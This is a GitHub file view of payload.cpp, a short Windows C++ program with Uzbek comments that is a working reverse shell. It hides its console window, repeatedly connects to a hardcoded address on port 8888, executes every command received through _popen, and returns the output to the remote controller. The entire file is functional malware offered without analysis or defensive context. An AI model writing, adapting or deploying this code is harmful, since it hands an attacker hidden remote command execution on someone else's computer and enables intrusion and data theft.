-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathpayload.cpp
More file actions
83 lines (66 loc) · 1.93 KB
/
payload.cpp
File metadata and controls
83 lines (66 loc) · 1.93 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#include <winsock2.h>
#include <windows.h>
#include <iostream>
#include <string>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
void hideConsole() {
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd, SW_HIDE);
}
bool connectToServer(SOCKET &sock, const std::string &ip, int port) {
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);
sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock == INVALID_SOCKET) {
return false;
}
sockaddr_in serverAddr;
serverAddr.sin_family = AF_INET;
serverAddr.sin_port = htons(port);
serverAddr.sin_addr.s_addr = inet_addr(ip.c_str());
return (connect(sock, (sockaddr*)&serverAddr, sizeof(serverAddr)) != SOCKET_ERROR);
}
void interactiveShell(SOCKET sock) {
char buffer[1024];
while (true) {
memset(buffer, 0, sizeof(buffer));
int bytesReceived = recv(sock, buffer, sizeof(buffer) - 1, 0);
if (bytesReceived <= 0) {
break;
}
buffer[bytesReceived] = '\0';
std::string command = buffer;
if (command == "exit") {
break;
}
// Buyruqni ishlatish va natijani olish
FILE* pipe = _popen((command + " 2>&1").c_str(), "r");
if (!pipe) {
send(sock, "[-] Failed to execute command\n", 30, 0);
continue;
}
std::string output;
while (fgets(buffer, sizeof(buffer), pipe) != NULL) {
output += buffer;
}
_pclose(pipe);
send(sock, output.c_str(), output.length(), 0);
}
}
int main() {
hideConsole(); // CMD’ni yashirish
std::string serverIP = "10.15.1.88"; //
int serverPort = 8888;
SOCKET sock;
while (true) {
if (connectToServer(sock, serverIP, serverPort)) {
interactiveShell(sock);
} else {
Sleep(5000); // 5 soniya kutib qayta urinadi
}
}
closesocket(sock);
WSACleanup();
return 0;
}